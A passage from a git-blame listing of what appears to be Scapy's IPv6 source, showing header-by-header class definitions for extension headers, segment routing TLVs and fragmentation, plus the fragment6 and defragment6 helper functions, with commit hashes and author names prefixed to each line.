944c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
945c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s, 1
946c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
947c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
948c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x:
949c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "On"
950c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "Off"
951c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
952c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
9530d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrHopByHop(_IPv6ExtHdr):
954c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Extension Header - Hop-by-Hop Options Header"
955c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
956c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="options", fmt="B",
95763ae11708b02df74dd3e8d2385d2829f3d622d66gpotter                                  adjust = lambda pkt,x: (x+2+7)//8 - 1),
958c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
95977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    _HopByHopOptionsField("options", [], HBHOptUnknown, 2,
960c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: (8*(pkt.len+1))-2) ]
961c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 0 }}
962c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
963c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
964c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil######################## Destination Option Header ##########################
965c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
9660d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrDestOpt(_IPv6ExtHdr):
967c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Extension Header - Destination Options Header"
968c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
969c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="options", fmt="B",
97063ae11708b02df74dd3e8d2385d2829f3d622d66gpotter                                  adjust = lambda pkt,x: (x+2+7)//8 - 1),
971c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
97277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    _HopByHopOptionsField("options", [], HBHOptUnknown, 2,
973c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: (8*(pkt.len+1))-2) ]
974c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 60 }}
975c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
976c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
977c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################# Routing Header ################################
978c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
979c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPv6ExtHdrRouting(_IPv6ExtHdr):
980c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Option Header Routing"
981c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
982c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, count_of="addresses", fmt="B",
983c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x:2*x), # in 8 bytes blocks
984c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("type", 0),
985c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("segleft", None),
986c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("reserved", 0, 32), # There is meaning in this field ...
98777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    IP6ListField("addresses", [],
988c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                 length_from = lambda pkt: 8*pkt.len)]
989c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 43 }}
990c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
991c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, pkt, pay):
992c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.segleft is None:
993c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            pkt = pkt[:3]+struct.pack("B", len(self.addresses))+pkt[4:]
994c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return _IPv6ExtHdr.post_build(self, pkt, pay)
995c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
99635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
997f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain######################### Segment Routing Header ############################
998f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
99935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon# This implementation is based on draft 06, available at:
100035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon# https://tools.ietf.org/html/draft-ietf-6man-segment-routing-header-06
100135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
100235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLV(Packet):
100335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Generic TLV"
100435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 0),
100535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", 0),
100635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("reserved", 0),
100735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("flags", 0),
100835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    StrLenField("value", "", length_from=lambda pkt: pkt.len) ]
100935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
101035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    def extract_padding(self, p):
10111186356a1d73fd59b700d8af05e789d0e8899de6gpotter        return b"",p
101235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
101335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    registered_sr_tlv = {}
101435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    @classmethod
101535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    def register_variant(cls):
101635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        cls.registered_sr_tlv[cls.type.default] = cls
101735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
101835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    @classmethod
101935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    def dispatch_hook(cls, pkt=None, *args, **kargs):
102035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if pkt:
1021b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            tmp_type = orb(pkt[0])
102235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            return cls.registered_sr_tlv.get(tmp_type, cls)
102335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return cls
102435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
102535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
102635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVIngressNode(IPv6ExtHdrSegmentRoutingTLV):
102735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Ingress Node TLV"
102835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 1),
102935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", 18),
103035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("reserved", 0),
103135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("flags", 0),
103235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    IP6Field("ingress_node", "::1") ]
103335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
103435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
103535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVEgressNode(IPv6ExtHdrSegmentRoutingTLV):
103635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Egress Node TLV"
103735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 2),
103835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", 18),
103935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("reserved", 0),
104035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("flags", 0),
104135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    IP6Field("egress_node", "::1") ]
104235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
104335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
104435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVPadding(IPv6ExtHdrSegmentRoutingTLV):
104535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Padding TLV"
104635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 4),
104735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    FieldLenField("len", None, length_of="padding", fmt="B"),
10482a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrLenField("padding", b"\x00", length_from=lambda pkt: pkt.len) ]
104935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
105035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
1051f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutainclass IPv6ExtHdrSegmentRouting(_IPv6ExtHdr):
1052f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain    name = "IPv6 Option Header Segment Routing"
1053f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
105435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", None),
1055f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    ByteField("type", 4),
105635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("segleft", None),
105735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("lastentry", None),
105835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    BitField("unused1", 0, 1),
1059f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("protected", 0, 1),
1060f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("oam", 0, 1),
1061f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("alert", 0, 1),
1062f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("hmac", 0, 1),
106335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    BitField("unused2", 0, 3),
106435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ShortField("tag", 0),
106535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    IP6ListField("addresses", ["::1"],
106635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                        count_from=lambda pkt: pkt.lastentry),
106735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    PacketListField("tlv_objects", [], IPv6ExtHdrSegmentRoutingTLV,
106835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                        length_from=lambda pkt: 8*pkt.len - 16*pkt.lastentry) ]
106935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
107035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    overload_fields = { IPv6: { "nh": 43 } }
1071f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
1072f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain    def post_build(self, pkt, pay):
1073f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
107435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.len is None:
107535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
107635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            # The extension must be align on 8 bytes
107735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            tmp_mod = (len(pkt) - 8) % 8
107835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            if tmp_mod == 1:
107935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                warning("IPv6ExtHdrSegmentRouting(): can't pad 1 byte !")
108035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            elif tmp_mod >= 2:
108135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                #Add the padding extension
10822a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                tmp_pad = b"\x00" * (tmp_mod-2)
108335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                tlv = IPv6ExtHdrSegmentRoutingTLVPadding(padding=tmp_pad)
10845e8857410015a93f6371459b2f870432ded39b9fgpotter                pkt += raw(tlv)
108535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
108663ae11708b02df74dd3e8d2385d2829f3d622d66gpotter            tmp_len = (len(pkt) - 8) // 8
108735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            pkt = pkt[:1] + struct.pack("B", tmp_len)+ pkt[2:]
108835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
108935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.segleft is None:
109035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            tmp_len = len(self.addresses)
109135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            if tmp_len:
109235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                tmp_len -= 1
109335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:]
109435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
109535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.lastentry is None:
109635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            pkt = pkt[:4] + struct.pack("B", len(self.addresses)) + pkt[5:]
109735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
109835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return _IPv6ExtHdr.post_build(self, pkt, pay)
1099f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
1100f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
1101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil########################### Fragmentation Header ############################
1102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
11030d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrFragment(_IPv6ExtHdr):
1104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Extension Header - Fragmentation header"
1105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
1106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res1", 0, 8),
110777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("offset", 0, 13),
110877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("res2", 0, 2),
110977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("m", 0, 1),
111077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    IntField("id", None) ]
1111c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 44 }}
1112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1113c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
111452165d0dd55a1071b935d002a41a95210c97f8e7Guillaume Valadondef defragment6(packets):
1115c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
1116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Performs defragmentation of a list of IPv6 packets. Packets are reordered.
1117c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Crap is dropped. What lacks is completed by 'X' characters.
1118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
11190d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
112052165d0dd55a1071b935d002a41a95210c97f8e7Guillaume Valadon    l = [x for x in packets if IPv6ExtHdrFragment in x] # remove non fragments
1121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if not l:
1122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return []
1123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
11240d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    id = l[0][IPv6ExtHdrFragment].id
1125c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    llen = len(l)
112752165d0dd55a1071b935d002a41a95210c97f8e7Guillaume Valadon    l = [x for x in l if x[IPv6ExtHdrFragment].id == id]
1128c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if len(l) != llen:
1129c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        warning("defragment6: some fragmented packets have been removed from list")
1130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    llen = len(l)
1131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
11320d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    # reorder fragments
1133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
1134c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while l:
1135c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        min_pos = 0
1136c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        min_offset  = l[0][IPv6ExtHdrFragment].offset
1137c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for p in l:
1138c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cur_offset = p[IPv6ExtHdrFragment].offset
1139c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if cur_offset < min_offset:
1140c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                min_pos = 0
1141c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                min_offset  = cur_offset
1142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        res.append(l[min_pos])
1143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        del(l[min_pos])
1144c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1145c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # regenerate the fragmentable part
11461186356a1d73fd59b700d8af05e789d0e8899de6gpotter    fragmentable = b""
1147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    for p in res:
1148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        q=p[IPv6ExtHdrFragment]
1149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        offset = 8*q.offset
1150c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if offset != len(fragmentable):
1151c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset))
11521186356a1d73fd59b700d8af05e789d0e8899de6gpotter        fragmentable += b"X"*(offset - len(fragmentable))
11535e8857410015a93f6371459b2f870432ded39b9fgpotter        fragmentable += raw(q.payload)
1154c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1155c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Regenerate the unfragmentable part.
1156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    q = res[0]
1157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    nh = q[IPv6ExtHdrFragment].nh
1158c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    q[IPv6ExtHdrFragment].underlayer.nh = nh
115909e12802fc2694f5de2870b600c2abe732705366Pierre LALET    del q[IPv6ExtHdrFragment].underlayer.payload
11607b3e970663abd72697e17b70aba9943ae0dad404Phil    q /= conf.raw_layer(load=fragmentable)
11610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
11625e8857410015a93f6371459b2f870432ded39b9fgpotter    return IPv6(raw(q))
1163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1165c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef fragment6(pkt, fragSize):
1166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
11670d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already
1168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected
1169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    maximum size of fragments (MTU). The list of packets is returned.
1170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    If packet does not contain an IPv6ExtHdrFragment class, it is returned in
1172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    result list.
1173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
1174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    pkt = pkt.copy()
1176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1177c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if not IPv6ExtHdrFragment in pkt:
1178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # TODO : automatically add a fragment before upper Layer
1179c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        #        at the moment, we do nothing and return initial packet
1180c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        #        as single element of a list
1181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return [pkt]
1182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
118395776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon    # If the payload is bigger than 65535, a Jumbo payload must be used, as
11840d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    # an IPv6 packet can't be bigger than 65535 bytes.
11855e8857410015a93f6371459b2f870432ded39b9fgpotter    if len(raw(pkt[IPv6ExtHdrFragment])) > 65535:
118695776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon      warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.")
118795776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon      return []
11880d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
11895e8857410015a93f6371459b2f870432ded39b9fgpotter    s = raw(pkt) # for instantiation to get upper layer checksum right
1190d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon
1191d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon    if len(s) <= fragSize:
1192d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon        return [pkt]
1193d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon
1194c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Fragmentable part : fake IPv6 for Fragmentable part length computation
1195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragPart = pkt[IPv6ExtHdrFragment].payload
11965e8857410015a93f6371459b2f870432ded39b9fgpotter    tmp = raw(IPv6(src="::1", dst="::1")/fragPart)
1197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragPartLen = len(tmp) - 40  # basic IPv6 header length
1198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragPartStr = s[-fragPartLen:]
1199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Grab Next Header for use in Fragment Header
1201259efa6175979052b26bd8d6028461a0bc23b005Mostafa Razavi    nh = pkt[IPv6ExtHdrFragment].nh
1202c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Keep fragment header
1204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader = pkt[IPv6ExtHdrFragment]
120509e12802fc2694f5de2870b600c2abe732705366Pierre LALET    del fragHeader.payload # detach payload
1206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Unfragmentable Part
1208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    unfragPartLen = len(s) - fragPartLen - 8
1209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    unfragPart = pkt
121009e12802fc2694f5de2870b600c2abe732705366Pierre LALET    del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload
1211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
12120d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    # Cut the fragmentable part to fit fragSize. Inner fragments have
1213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # a length that is an integer multiple of 8 octets. last Frag MTU
1214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # can be anything below MTU
1215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    lastFragSize = fragSize - unfragPartLen - 8
1216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    innerFragSize = lastFragSize - (lastFragSize % 8)
12170d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if lastFragSize <= 0 or innerFragSize == 0:
12190d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        warning("Provided fragment size value is too low. " +
1220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                "Should be more than %d" % (unfragPartLen + 8))
1221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return [unfragPart/fragHeader/fragPart]
1222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    remain = fragPartStr
1224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
1225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragOffset = 0     # offset, incremeted during creation
1226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragId = random.randint(0,0xffffffff) # random id ...
1227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if fragHeader.id is not None:  # ... except id provided by user
1228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        fragId = fragHeader.id
1229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader.m = 1
1230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader.id = fragId
1231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader.nh = nh
1232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ...
1234c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while True:
1235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (len(remain) > lastFragSize):
12360d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            tmp = remain[:innerFragSize]
1237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            remain = remain[innerFragSize:]
1238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragHeader.offset = fragOffset    # update offset
123963ae11708b02df74dd3e8d2385d2829f3d622d66gpotter            fragOffset += (innerFragSize // 8)  # compute new one
12400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            if IPv6 in unfragPart:
